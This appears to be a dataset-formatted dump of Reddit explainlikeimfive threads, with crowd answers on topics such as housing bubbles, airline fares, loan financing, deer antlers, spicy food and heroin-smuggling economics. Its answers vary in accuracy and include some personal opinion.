"Sometimes, everybody wants to buy the same thing. When that happens, the people at the store make it more expensive. If the economy is doing something weird, which is not that rare, they can make the price very high. \n\nThen, people realize that they don't want keep buying or can't and the economy hurts.\n\nAn example, in 2006, lots of people wanted to buy houses. It's pretty hard to pay for a house, so you need help from the bank. The bank started helping too many people, because they get paid to do that and the rules that were supposed to stop them from doing that got taken away. \n\nSo, all these people kept buying houses, but they weren't ready to pay for them. In 2008, everything quit working and the economy hurt very bad. The price of a house had been very high, because everybody kept trying to buy them. But when the economy started to hurt, the price of a house went way down. \n\nThat could have been good, if you wanted to buy a house, but there were a lot of people who bought very expensive houses when the bank let them buy things they couldn't pay for. Then the price of their house changed. If they sold their house, they would still need to finish paying for it, at the original price, but they could only get the new price for selling it. That meant that selling the house you bought would make you very poor. \n\nAnyway, the bubble is what describes the price, how it went too high and then caused problems when it went back to what it should have been",
"Bubbles are based on speculation. Speculation is when you buy something because you expect it to quickly increase in value, not because you value it for its utility.\n\nExample, buying a house to flip it as opposed to buying a house to live in it or to keep it as a long term rental investment.\n\nWhen prices start to escalate rapidly due to speculative demand, you entire bubble territory. Bubbles pop when people finally realize that prices no longer reflect the inherent value of the commodity. When they do pop, the price will crash faster than it rose, and many people will be left holding commodities they never really wanted in the first place that are now less than they paid for.\n\nIf they borrowed to fund these speculative purchases , like buying stocks on margin or getting low down payment mortgages, the crash can be even more damaging to investors and to the economy as a whole. Investors owe more than they can for selling the commodity at current market prices, so they end up declaring bankruptcy."
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a4z213 | why is cringing our first reaction to something embarrassing or uncomfortable? how did cringing even become something that we do automatically? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/a4z213/eli5_why_is_cringing_our_first_reaction_to/ | {
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"I suspect it's a learned behavior.\n\nEspecially given it's current prominent place in Pop Culture.\n\nBabies will automatically cringe in response to physical stimuli, such as unpleasant food, but not to social cues that they don't understand.\n\n",
"You could be asking one of two questions here - why do we feel the emotion of \"cringiness,\" and why do we physically wince or tense up while feeling this emotion.\n\nFirst question:\n\nCringing is known to scientists as \"vicarious embarrassment.\" It's a form of empathy; we're feeling the emotion of embarrassment which we think the other party is (or should be) feeling. The Germans call it fremdschämen - the compliment to schadenfreude (which is taking *pleasure* from seeing another's embarrassment or misfortune).\n\nEmpathy is a super-important social tool which a lot of the human brain is devoted to. There's a part of the brain called the **anterior insula** which seems to be devoted to empathy, along with some related functions^a. This part of the brain really lights up when we cringe, suggesting that we're simply empathizing with the other party. Those who report feeling schadenfreude more strongly see much less anterior insula activity in these cases^b; they're not empathizing, they're laughing at the other party. There's a lot of research which suggests that cringing and empathy go hand-in-hand^c.\n\nSecond question:\n\nI don't think we know! I spent the last half-hour diving into research papers, looking for anything specifically related to the physical expression of vicarious embarrassment. Came up empty. It's definitely a form of emotional expression, but the question of *why* we express this emotion through a grimace or tensing of muscles is, as far as I can tell, unanswered.\n\na: Müller-Pinzler et al, Hum Brain Mapp. 2017\n\nb: Paulus et al, Neuropsychologia. 2018\n\nc: Melchers et al, Neuroimage. 2015"
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1r7x0u | (asian asks americans) why did the trayvon martin case get so much attention, and cause so much outrage, but blacks killing whites doesn't? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1r7x0u/eli5_asian_asks_americans_why_did_the_trayvon/ | {
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"It's probably worth reading the novel \"Bonfire of the Vanities\" for a decent walk through of the factors that frequently cause cases like these to become a massive news story. ",
"It's because the media needs headlines to sensationalize to keep people watching and therefore stay in business. This is because everyone can (and for a large part does) get all the actual 'news' they want/need for free. You all have your favorite website/app that you use and don't pay for to get news. Well, that's a big problem for the \"news\" corporations. \n\nIn order to keep your attention, they now have to focus on having the most sensationalistic stories that keep you riveted, and whipping you and all your friends into a frenzy helps keep everyone watching. That's why you see all these really unimportant stories, like the Zimmerman case, blown up into huge stories that seem like a huge deal; however, when you get down to the facts of the case, they're not important. \n\nIt really doesn't have anything to do with that case in particular vs. blacks killing whites - it's just that the media saw their opportunity to turn a simple case into a spectacle and took it to boost ratings and keep people watching. ",
"Honestly, most white people will tell you one reason, and most black people will tell you a completely different reason why that happened. That in itself is most likely the issue. ",
"George Zimmerman wasn't even white < . < he was Mexican. ",
"OP must not remember the OJ Simpson trial. ",
"Blacks go to jail for it."
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3ypf4b | why when gas prices were rising did airlines complain and increase prices, but now its cheaper than gas has been for years, the fares continue to increase? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/3ypf4b/eli5why_when_gas_prices_were_rising_did_airlines/ | {
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"Fuel is only one cost of air travel. You also have to consider executive pay and shareholder value.",
"Airlines (which are a very low profit margin business to begin with) have seen proof that even with higher ticket prices, people still buy them. What incentive do they have to lower them? Companies often increase prices in response to rising costs, but don't like lowering them in response to lower costs. Eats into the end profit, you see, and that is practically all the business exists for. ",
"You may remember from several years ago, Southwest bet that the price of fuel was going to rise, so they heavily hedged against price increases, and pre-purchased the fuel or they bought oil futures. \n\nAll the other airlines took a beating on profits that year, southwest had amazing profits. That worked because the price of fuel had skyrocketed. All the other airlines did the same thing, except this time the price of fuel declined, and they were stuck holding expensive pre-purchased fuel or futures contracts. \n\nPlus if the customers are willing to pay more for travel, and willing to absorb other rising costs, the airlines will gladly pass it on, along with some increased margins. ",
"Price is determined by what people are willing to pay for the product. Not what it costs to produce (unless we assume perfect competition)\n\nAirlines are clearly able to sell enough seats at the \"high\" prices to stay profitable. If there was a profit to be made by lowering prices they would. As it stands there is probably not enough empty seats on planes to warrant a reduction in price. \n\nIn short, demand is outstripping supply and so prices increase. There are various reasons why supply could be tight; lack of competition, collusion, lack of capacity (within both airlines and airports) etc.",
"Because airlines like money, and by not lowering prices, they get more money, which they like. ",
"Few things in play here and (and there are other factors I may have overlooked):\n1. Airlines don't pay the market rate for fuel. They purchase contracts to buy at a certain rate so they aren't subjected to so much volatility. The price that they are paying right now is likely more than the average market rate. \n2. Also it's holiday season so more demand for the same supply of planes = higher prices. \n3. Also, in general airlines are one of the *least* profitable industries. When you hear that airlines are having record profits it doesn't mean that they are rolling in the dough... Just means that they are doing better than usual. \n4. Last, de-icer that they spray on the planes is a significant expense that hasn't dropped like the price of oil.",
"Because fares are actually falling precipitously, everyone just loves to hate on airlines so they think that their last minute walk up ticket is indicative of prices as a whole. \n\nCurrently there are huge fare wars occurring in the industry as airlines attempt to use the low cost environment to fly irrational capacity and claim marketshare, since that is much more important when there are only 4 main carriers left.\n\nDelta has been beating up on Alaska in Seattle and Salt Lake, and Jetblue in New York. United has been abusing Virgin America in SFO. Southwest has gotten to expand operations at DAL which makes American go apeshit across the country because DFW is a huge connecting complex and the local market is being captured by Southwest at DAL. Frontier and Spirit continue to be the fastest growing airlines in the world, and are bringing low fares where they can gain a foothold.\n\nALL the legacy airlines are hanging onto old, fuel inefficient aircraft to fly more seat miles in an attempt to capture market share, and that additional competitive capacity at lower fuel costs require a lower fare to fill with stimulated traffic.\n\nUS DOT DB1B and T100 Survey, publicly available.",
"It was once explained to me that the airline industry is an example of an oligopoly - like a monopoly, but a small discrete group of dominating companies, instead of just one. You still get the pricing and competition effects that come with a monopoly, but uniformly across all the companies in the oligopoly. \n\nTL;DR - if they all retain their ticket price point, no one can stop them, there isn't enough competition ",
"Transpacific flights to China, Thailand, and New Zealand are considerably cheaper than a few years ago. Fares have been dropping a lot.",
"Former Delta fuel hedger here.\n\nWhen I worked at Delta, fuel represented about 35% of our costs.\n\nTo mitigate the risk of rising fuel prices impacting profits, we created a fuel hedging trading floor, which I was part of.\n\nAs you can imagine, hedging in jet fuel is pretty difficult since the market for jet fuel is concentrated among several large carriers willing to utilize the futures market.\n\nAs a result we hedged utilizing distillates of similar type to jet fuel, that behaved in a similar way to jet fuel prices.\n\nWhen oil prices went down, the hedges would go against us and we would still be locked in to paying huge losses to the banks and oil producers we'd hedge with.\n\nAlthough fuel costs weren't completely hedged to the point where we didn't save anything when the oil market collapsed, if you're a business---are you quicker to pass through savings to your customers or are you quicker to pass through costs?\n\nHere's the answer to the question: airlines are businesses. The goal of the executives who run the company are to maximize shareholder value through profit maximization. If you're going to preserve profits by increased costs---you're going to make sure your customers bear the majority of that increase in cost. And, conversely to maximize profitability you're going to ensure that you stay competitive in the industry while also maximizing profits.\n\nTldr: profits. \n\nFuel hedges also could have blown up against specific airlines from them really benefitting from these markets, although I would hope we still had the cognizance to be aware of what is going on in geopolitics right now to be aware that oil prices aren't going anywhere and we didn't over hedge. \n\nAlso, when I was at Delta we purchased a refinery outside of Philadelphia. The profitability and success of that hedge is predicated on the crack spread which isn't really the same thing as raw crude price. They're related.",
"Man that's some grammar you got going in that question.\n\nJets burn kerosene, not gasoline, so there's not necessarily an exact match between gasoline prices and jet fuel prices.\n\nAlso, airlines at a minimum buy half their fuel in contracts up to a year ahead - they haven't seen as much cost savings as the spot market would make you think.\n\nNow. What's your source for the claim about rising prices? My flights this fall and winter seem slighly cheaper than a year prior.\n",
"This is already going to get buried but it is an oligopoly, and prices tend to be sticky upward in non-competitive market environments. Don't worry, things will get good, low price entrants will come in, they will go to a price war, the consumer will win, and the new guy will go out of business. This is high school economics.\n\n_URL_0_",
"Because you are basing your statement off of anecdotes and not data.\n\nThe price of airfare has gone down 15% from its 2013 high in nominal terms, more adjusted for inflation.\n\n_URL_0_",
"A lot of what is being said here is simply people's personal theories on whats going on without any substantiation.\n\n\nI used to work for a subcontractor that contracted work for the airlines, namely delivering lost luggage, and I did it for 7 years\n\n\n\nThe airlines buy fuel on (often) long term contracts. Its called Fuel Hedging, which is a lot like taking a bet on an investment on the stock market. Its a lot like a futures or options contract (well, more like a futures contract really). _URL_3_\n\n\n\nIf they lock in a contract when prices are high, well then they are contractually obligated durring the length of this contract to pay that price. Say they buy it at some number I'm going to make up here, sy $80 a barrel, and the price subsequently stays at $100 a barrel then they look like geniuses, as was the case with southwest back in 2007. _URL_1_\n\n\n\nSo, thanks to these contracts, they are now locked into prices that were in existence whenever the contract was agreed upon. I don't think anybody, including the airlines, saw the dramatic price drops in fuel that happened within the last year or so coming down the pike, and locked themselves into some bad contracts. On the other hand the fuel companies are making out handsomely on this deal. _URL_0_\n\n\nOh, and one more link in case you think I'm joshing you here. _URL_2_\n\n\n\n\nTLDR: basically they fucked themselves with long term fuel contracts that can last a few years. Can't blame 'em necessarily, I don't think many reasonable people saw low fuel prices coming. ",
"It is my understanding airlines make a contract to pay the same price for fuel. When gas prices fluctuate for cars and whatnot, they pay the same price for fuel for about five years or something like that.",
"in short, price fixing. people may cite fuel hedging, but if you just look at their quarterly earning statements you can see that is false. [go to page 6 and 7](_URL_1_) of their earnings report. revenue is up and fuel costs are down. prices are high because the airlines are all, with explicit collusion or not, holding their prices up because everyone else is. I believe the justice department is [investigating for collusion](_URL_0_) because they are all choosing to not compete on price."
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5r81hs | what caused the rise of alt right? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/5r81hs/eli5_what_caused_the_rise_of_alt_right/ | {
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"I'll speak to the US rather than UK/Europe because I'm more familiar with it.\n\nRural areas of the US have leaned conservative for the last 30 years or so. Culturally, they've leaned that way for longer, but their voting patterns have expressed this since Regan embraced the Christian evangelical right in the 80s.\n\nRural areas of the US have also faced the greatest economic losses over that same time period. They haven't seen the boom times of the 90s and recovery from the Great Recession of 2008, but they experienced all of the lows. Rural America is hurting economically. The growth in prosperity in the US has been focused on liberal-leaning urban areas.\n\nOver the last two decades, the US has shifted more to the left on social issues. Gay marriage was legalized, marijuana was legalized, third wave feminism saw a rise, etc. These are all rallying areas for social conservatives, who feel they are detrimental to the social fabric of the US.\n\nOver the last two decades, the rise of the internet and cable news channels have provided targeted messaging to smaller groups of people than were available when there were five channels and no chat forums. It's easier to focus on content that feeds you what you want to hear (this applies to the right and the left).\n\nSo, you have a perfect storm where\n\n1. Economically hurting people are looking for politicians who promise to focus on their needs\n\n1. Social conservatives who fear social changes are looking for politicians to cater to them\n\n1. Echo chambers where both sides of the spectrum can focus and radicalize\n\n(edit: some small grammar tweaks)",
"First you need to *define* the 'alt-right'.\n\nBreitbart media popularized the term (_URL_0_). In their construction, the alt-right is a grab bag of folks who don't necessarily embrace traditional conservative ideas but tend to be less polite and more confrontational. Think of them as the conservative version of social justice warriors.\n\nIn terms of its rising popularity, it's not hard to connect this to the famous quote from the The Wild One:\n\n\"What are you rebelling against?\"\n\n\"Whadda you got?\"\n\nThe alt-right primarily well-educated young people and they had to pass through the crucible of an incredibly slanted academic setting where their ideas were generally shouted down and denigrated rather than addressed. So they're reacting back the same way - as provocateurs more than politicians.\n\nIn terms of prominence within the Republican Party as a whole, bear in mind that any political party needs bright young people volunteering to carry some of the load. But higher education in this country isn't really a 'safe space' for conservative notions unless it's an explicitly religious college or a school of engineering. Since the latter tends not to produce political enthusiasts, you're largely left with evangelical Christians and people whose college experience was being mocked and marginalized.",
"I feel like the alt-right is part of the response to mainstream bullshit such as third way feminism, identity politics, black lives matter etc.\nIt's mainly a millennial conservative political movement born on the internet. They care the most about free speech, the right to avoid political correctness, the right to post pepe memes without being called white supremacists and so on and so forth. They progressively gained a voice, especially on the internet, because the Trump campaign acknowledged and even supported them.\nI initially predicted a rise of an \"alt-left\" as well, under Bernie Sanders. It still exists as a movement (and I personally feel like I'm part of it). They come from different liberal backgrounds (some are classical liberals, some are social democrats, etc.) but they all disagree with SJWs just like the alt-right. The difference between the two, though, is that the alt-right is generally conservative (no, they're not nazis) and the alt-left is generally liberal. "
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29c0y2 | how do deer antlers grow? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/29c0y2/eli5_how_do_deer_antlers_grow/ | {
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"Antlers are actually and extension of the skull. \nThey start growing as cartilage (just like your ear) and eventually turn to bone as they mature. The small velvety fur you see on antlers while attached to a deer carries blood and nutrients to the antlers. They also carry a growth hormone called IGF-1 to the antlers, which why they grow so fast every year. \nAfter the antler has matured (around January) they shed off of the deer and the velvet decomposes; all you have left is a brown-speckled white bone antler. "
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epmwtt | what did humans think our brains were for before science could prove their use? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/epmwtt/eli5_what_did_humans_think_our_brains_were_for/ | {
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"It really would not need a lot of science to have a fairly good idea what the brain does. Even in ancient history, people knocking themselves or others unconscious/silly deliberately or by accident would have demonstrated that brain/head injuries impairs thinking. \n\nSome cultures believe that other organs were responsible for feelings vs cognition so clearly there wasn't a modern appreciation for the full scope of the brain's function.",
" > Ancient Egyptians thought it was a useless organ and tugged it out of dead pharaohs through the nose. Aristotle thought the brain was a cooling unit for the heart\n\nyou can read more about it [here.](_URL_0_). it's an article about neuroscience for kids so I think it's very fitting for the question at hand."
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2841ne | how does so much heroin get smuggled into the usa? | How does enough heroin get smuggled into the USA to supply every shitbird town in the USA? How does it stay so cheap, even though it gets smuggled across the world? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2841ne/eli5_how_does_so_much_heroin_get_smuggled_into/ | {
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"It doesn't really take that much heroin.\n\nA heavy heroin user needs around 50mg of pure heroin to get high - that's 1/20 of a gram. Street value of a gram runs around $150-200 per gram. A single kilogram, taking up less space than a hardcover Harry Potter book, is enough for 20,000 doses and has a street value of $200,000.\n\nIf you do the math, there's a lot of motivation for people to smuggle it & even small quantities can have a big payoff. (Obviously, there's layers of middle-men involved in distribution process between wholesale import & street distribution but I don't want to make this complicated).\n\nOf course, the real problem in the US is the massive quantities of oxycodone we produce and prescribe. [A great many more people use, abuse & die from prescription narcotics than the illicit ones](_URL_0_). It's easy to focus on heroin because \"bad people\" use it and buy it in some dark alleyway; we don't want to talk about the problems of doctors & lawyers, housewives & teachers and all the other 'respectable' members of our society that have serious addictions that come from a man in a white labcoat and can be picked up with the groceries.",
"Think about how much freight comes into a country each day. Let's say you want to get 10 kilos of heroin across a border. 10 kilos as someone else in the thread explained, is actually a lot, maybe enough for a hundred thousand doses or more. \n\nIn terms of size, it's not that big. Many thousands of tonnes of freight cross a border each day, and only a tiny portion is checked. Say you have a shipment of Mexican mopeds coming into the us, that could be thirty of thone huge cargo containers, each containing a hundred pallets with a motorcycle on. 10 kilos of heroin could fit in one fuel tank. Customs might check one pallet, in one container, and if it's ok let the rest through. Anything else would be too inefficient and expensive.\n\nGlobal estimates suggest between 1% and 5% of all drugs produced are ever seized. So even if you expect an occasional loss of revenue due to seizures, 95% at least of you highly profitable substance is going to make it to market"
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443wcl | theoretically, what would have happened if the us didn't get involved in vietnam? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/443wcl/eli5_theoretically_what_would_have_happened_if/ | {
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"*North Vietnam stays communist longer, perhaps til the fall of communism in the former USSR. \n*communism spreads further before the fall of the USSR\n*There are about 58,220 fewer U.S. casualties & probably a lot fewer other casualties\n*We didn't learn the lesson of Vietnam, and maybe got involved somewhere else we shouldn't have \n*We still have a draft \n*Muhamad Ali didn't go to jail for draft evasion \n*no Agent Orange damage to Vietnam \n\n"
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6qc4qf | locked smartphones. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/6qc4qf/eli5_locked_smartphones/ | {
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"Yer not alone in askin', and kind strangers have explained:\n\n1. [ELI5: How come you cannot carrier unlock a mobile phone without paying for a \"code\", even with custom firmware and root access? ](_URL_2_)\n1. [ELI5: What exactly is \"unlocking\" a phone? Why is it a big deal in the news in the past month? ](_URL_1_)\n1. [ELI5: What is meant by an \"unlocked\" phone? ](_URL_0_)\n1. [ELI5: Unlocked Smart Phones ](_URL_4_)\n1. [ELI5: Cell phones \"locked\" to carriers, and unlocked phones ](_URL_3_)\n1. [ELI5: how does cell phone unlocking work? ](_URL_5_)\n"
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"https://www.reddit.com/r/explainlikeimfive/comments/48ypex/eli5_how_come_you_cannot_ca... | ||
1bvr04 | why do i crave extremely hot food (like jalepenos, hot sauce,spicy salsa etc) but my gf will throw up if she even smells spicy, let alone tastes it? | I love hot food. The spicier the better, I wanna sweat while I'm eating. But my gf prefers tasteless or bland food. If I was to eat a curry too close to her, she would literally start gagging. Why is this and can it be changed? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1bvr04/eli5_why_do_i_crave_extremely_hot_food_like/ | {
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"People whose relatives lived near the equator most of the last 5000 years generally can eat chili peppers with no problem as they were frequently used by people living in warm regions to preserve meat. If your ancestors lived in a colder area where spoilage was not as much of a problem, then you retain the general aversion most mammals have to chili peppers (chili peppers evolved their hotness so that birds would eat them rather than mammals (they aren't hot to birds)).\n\nSimilar differences can be found for lactose intolerance (if you had relatives 5000 years ago who herded, then you will be able to digest milk into adulthood (for example Scandanavians) and if you didn't have relatives who herded 5000 years ago (for example, most American Indians) then you will be lactose intolerant in adulthood. ",
"Although /u/LIBGOV's answer is certainly interesting, research has shown that while there is a correlation between the location of ones ancestral heritage and a fondness for spicy food, the main determining factors for whether one likes spicy food or not are a) cultural rather than genealogical and b) neurological rather than genealogical. That is to say, if you live near or within a culture where spicy food is prevalent, then you will try it more and be more encouraged to like it and build a tolerance to it. The origin of one's ancestry does not play into this. As for the neurological effects, when the active ingredient in what we consider spicy foods (Capsacin) meets with our tongues, it causes a sensation of pain and inflammation. Although this hurts, it also triggers our brains to release small amounts of adrenalin and dopamine as our bodies natural response to pain, giving us a teeny rush of pleasure and excitement with each bite of spicy food. As we get used to the rushes that we feel from spicy food, we develop a tolerance requiring spicier and spicier food for the same rush. However, for those who have not had much Cultural experience with spicy food, that pavlovian cycle of pain/pleasure/reward caused by eating spicy food is never initiated, so their tolerance never goes up beyond the natural human baseline tolerance for capsacin.\n\n**tl;dr** you like spicy food because you've been exposed to it more/ have been more experimental of an eater and are now addicted to it, your gf does not like it because she has no pavlovian pleasure response to its effects and thusly, no developed tolerance.",
" > extremely hot \n > jalapeño \n\n\n\nThat's adorable. "
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28wzt1 | what happens to someone who is convicted of a crime but later the law is amended and the 'crime committed' is no longer considered a crime? | A wild yet easy to understand example would be:
Say someone gets convicted of murder, goes to jail, and before their term is up, a new change in the law declares murder no longer illegal. Does the person get out of jail, are they tried again, or do they just sit and wish they had waited longer to commit the murder? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/28wzt1/eli5_what_happens_to_someone_who_is_convicted_of/ | {
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"In American and similar systems, unless the Legislative specifies what to do with old crimes, it's up to the Executive to decide whether to pursue convictions or whether to issue pardons or commute sentences.\n\nSo, if you're in jail for a crime that is repealed by a change in the law, you'd have to ask the state governor or US President to let you go. \n\nIf the interpretation of the law changes in a higher court, you have to return to court and ask the judge to let you go."
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8166eu | why is it that if i have a low interest rate, financing a house or a car would be a much better option than buying it out in full with cash? | Wouldn't interest, however low it is, accure additional cost? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/8166eu/eli5_why_is_it_that_if_i_have_a_low_interest_rate/ | {
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"Because you can make more by investing the cash you have on hand than the interest would cost you. ",
"Yes. But we also have to consider the opportunity cost of paying down the balance immediately. \n\nIf the money used to pay down the loan could have been used in a way that it generates more \"return\" (lack of word choice) than the interest on the loan, the buyer could come out ahead. Say for example, the money could have been deposited in a savings account or certificate of deposit that paid at a higher interest rate.\n\nLikewise, paying down the balance immediately could place a huge financial burden on the buyer. If the end up having to take out loans on credit cards or other loans (which nearly universally will have a higher interest rate than a mortgage), the buyer could take a loss by paying the house in full. ",
"They call it opportunity cost. If you plunk down lots of cash all at once, that money can't be used to invest in something that earns a greater return. So, when car manufacturers offer 0% or 1.9% interest, you're betting that you can manage your money to earn more than 0% or 1.9% over the 5 year term of the loan. ",
"Depends on the market. With low returns on bonds, you'd have to be careful that you were getting a better rate than you were paying.\n\nSay you're at a 3% on the car, but bonds are doing 2%. Seems like it'd make more sense to buy the car. But if you can get 0.9% on the car, you're good. That's just quick down and dirty.\n\nYou also have to weigh the risk of depreciation and an accident. You have to think about where you could potentially get a better rate. Bonds vs. stocks, etc.\n\nHonestly, if I needed a new car, and I had 20k sitting around, I'd put the 20k in a retirement fund of some sort 99 out of 100 times just due to my situation.\n\nI've worked at making my credit look polished and I have a decent paying career. My last car was financed at 0.9% and only cost like $500 or so over the life of the loan to finance, and I paid it off early. So I mean, yeah, I could have saved $500 over 5 years (Whoopty shit) or made (assuming about 3% growth annually over the same 5 years) about 3k.\n\nThat's why you invest instead of paying off the car in full. Now, things change if you're in different circumstances of course.\n\nTL; DR: Invest the money, don't buy the car outright. Because compound interest.",
"It's the concept of comparing opportunity cost. \n \n1) The opportunity cost of paying for a car outright is the return on the money you COULD have gotten by investing it. \n2) The opportunity cost of not paying for the car outright is the interest you pay on the car loan. \n \nWhichever opportunity cost is higher, you should go with the other option. \n \nFor example, let's say you're getting a ludicrous interest rate of 1% on the car loan. At the same time, let's say you have access to an investment opportunity that can generate a 7% return on an annual basis. If this is the case, then it makes sense to NOT pay for the car outright, get the loan, and invest the money you would have used to pay for the car outright.",
"The \"opportunity cost\" explanations people have already given are generally good ones (if you sink all that cash in at once you can't use it for other things, like invests that would earn more than the interest you saved). But for some things, particularly houses, aside from the interest you would save you can also get a lower overall price if you pay cash. That still may not off-set the benefits of what else you could have done with that money, but it's something to consider. \n\nAnother factor is how much cash you have on hand. If making a big purchase in cash would basically wipe out your savings, aside from \"not having money to invest and make more money off of,\" you don't have much of a safety net left either. In that case, making regular payments on a loan at a reasonable interest rate is probably less of a burden than having next to money left because you spent it all on something up front. If the buyer has plenty of money, this is less of an issue.",
"As others have mentioned, opportunity cost or the next best investment you can make with the extra money. As well as something other people haven't touched on, is inflation. Say you are able to get a car loan at 3% over 8 years. The average rise of inflation is about 2% per year, so overall the cost will be less in the future as 2% per year inflation is greater than 3% inflation over 8 years.",
"This applies to me:\n\nLet's say mortgage was 3.5%. My retirement accounts over a 15 year period were showing returns around 7% if not higher.\n\nSo over the 15 years of my mortgage every $1,000 I put extra on my mortgage would save me $35 a year. But every $1,000 I put into my retirement accounts made me $70.\n\nTherefore say 150k over 15 year mortgage. with 20% down. I pay $34,414.63 in interest.\n\nBut if I start at $0, and put that $1,000 extra into my retirement accounts every month, at the end of 15 years I have: $131,104.76 in **GAINS** plus $180,000 in my contributions.\n\nMinus the interest I had a net gain of $96,690.13 enough to purchase another (smaller) house.",
"The simple explanation is because there is a time value of money. That means that a dollar had today is worth more than a dollar had tomorrow which is worth more than a dollar had in two days etc. So depending on one's options for investing cash on hand, it may be overall more valuable to pay more money over a longer period of time so as to maximize the cash you have on hand now so you can invest it. The key concept is money is different than its value. $1000 right now is valued more than $1000 had in 30 days. ",
"This **only** makes sense if you actually take the dollars you would spend paying it off and investing them into your future instead. If you aren't actually going to increase your retirement contributions in the amount of the difference, it's better to pay off the loan.\n\nI actually came up with a spreadsheet recently to help illustrate the difference. The scenario is, you've got a $10k auto loan, at 4%, over 48 months. You have a fixed amount of money you can toy with ($500/mo) from now until retirement. The question is, do you pay off the auto loan as soon as possible and then invest? Or only pay minimums and invest all along?\n\nHere's the spreadsheet showing the two scenarios: _URL_0_\n\nIn the end, you will have about $5k more in the bank if you start investing early and only make minimum payments, vs paying down as soon as possible and then investing after that. And this is a short-term low-amount loan, on something like a mortgage the difference can be huge.\n\nAnother benefit to this approach that you have a bit more flexibility. If a catastrophic emergency comes up you can always take the money back out of your 401k/IRA (paying a penalty of course) but you generally can't very easily liquidate a car, and most people will still need a car anyway so they may not even be able to come out with any real liquidity anyway.",
"I feel like no one in this debate talks about risk. Debt adds risk and return (if you use it correctly). It's probably best to keep a mortgage and invest the balance, but it increases your risk. For example, if you invest 200k in the stock market instead of buying your house outright, you could gain 7-10% per year for the next 30 years. Or, the market could tank 30-50%, and if you also lose your job, you'll be forced to sell low, to meet your mortgage obligations. \n\n\nIt's most likely the best answer to hold a mortgage and invest the extra, but that doesn't mean it's a slam dunk. the P/E multiple is high right now, which would indicate a lower likelihood of high returns in the immediate future. But that's market timing, and tends not to work well unless you buy and hold forever",
"It isn't. If you look at the answers, they are all based on \"it could grow\". Don't fall into that trap but pay up all your loans immediately or avoid them as much as possible. \n\nThere are plenty of economists that say \"but you can gain 5%\" of profit\". Yup, that is true. And you can lose it all and when it is home, car etc... you can't afford to lose either. Pay up the moment you can for all the necessities, it isn't the most profitable but it is the most secure. The answers above/below are based on greed. Yes, they are facts but that is not why they say those things.. They see the few percent possibility as a reality. ANYTHING can happen in the financial market but you NEED that house or car. Don't mix the two, greed and need. Speculate on disposable income, never ever on the \"need\" section of the books."
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4esd9l | why is loudness in music bad? why do we need people to enforce it if it "naturally sounds better"? | Loudnesswar: Why is loudness in music bad? Why do we need people to enforce it if it "naturally sounds better"?
| explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/4esd9l/eli5why_is_loudness_in_music_bad_why_do_we_need/ | {
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"According to the surgeon general, Sound levels over 100 decibels (about as loud as your average motorcycle) can damage your hearing if you are near them for too long. So i think its mainly a pubic health concern.",
"The problem is that louder music sounds better to us. So what happens is that artists make their music louder so that people will think their song is better than it actually is.\n\nThis creates the problem that every song is as loud as possible just to keep up with the competition. But that just means there is no longer any dynamic range in the songs.\n\nIf you listen to older music, there is more variation in the loudness within a song. For example a song might start soft and the build to louder dramatic part. This is very rare in modern pop music, as they already start out loud and then you got nowhere to go.\n\nThis has been called \"the loudness war\". Some reference for you:\n\n_URL_1_\n\n_URL_0_"
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3kcqif | how do old rotary telephones work? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/3kcqif/eli5_how_do_old_rotary_telephones_work/ | {
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"Dialing was done by counting clicks (ie rapid disconnect/reconnect to the line) and the rotary contained levers that bumped a disconnector. If you were fast you could dial with just the hang up lever/pole but it wasn't easy. \n\nIt was replaced with touch tone dialing (the tones you hear today when you call an automated phone system). At least for some phone systems rotary dialing still works to dial. "
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1y4bzr | why are humans' anuses "protected" by butt cheeks while most animals' are exposed and do not requiring cleaning? | Probably a gross question, and I probably did not state it right in the title. Most animals have exposed anuses so that when they go to the bathroom it is relatively clean (I know most still clean their genital areas anyways), but when humans defecate it almost always requires wiping to clean it. Is it simply because we have developed a more sedentary lifestyle and sit on our asses for a large majority of time? I don't have a large knowledge of monkeys, but it seems like even most species of primates have exposed anuses (not to bring up the argument of evolution or not, but they are undoubtedly the most similar animal to us). It seems like an evolutionary flaw that you would have an area of your body that would collect fecal matter that you could not clean without the use of some kind of help, i.e. toilet paper, corn cobs, leaves. So why did we develop a large cavity in our body that is more difficult to clean? Is there any benefit to having a butt extended from the anus rather than it just being exposed and easier to "drop" our business out of it like most animals do? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1y4bzr/eli5_why_are_humans_anuses_protected_by_butt/ | {
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"We walk on two legs, so our butt muscles are bigger. We need to use toilet paper partly because of that and partly because of many people's diets are not the healthiest. ",
"The size of your rear end has less to do with protecting the anus and more to do with stability while walking. It's also not a bad gig to have a jiggly bag of fat to sit on, rather than bone and muscle.",
"We have social hygiene standards. Trust me, cows and other animals get dingle berries. \nThey don't care tho.",
"You only need to wipe to clean when your diet isnt up to scratch.\n\nIf you eat loads of veggies and decent meat you will never wipe again.",
"It possibly has some value in muscular leverage for our weird two-legged way of locomotion. A better guess would probably be sexual selection, though. I'd suspect it might be a thing like peacock feathers. It's not necessarily useful, it's just advertisement.\n\nRef: \"I like big butts and I cannot lie.\" I don't, myself, but people with no butts are curiously unappealing."
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5z27wv | why is glass colorless? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/5z27wv/eli5_why_is_glass_colorless/ | {
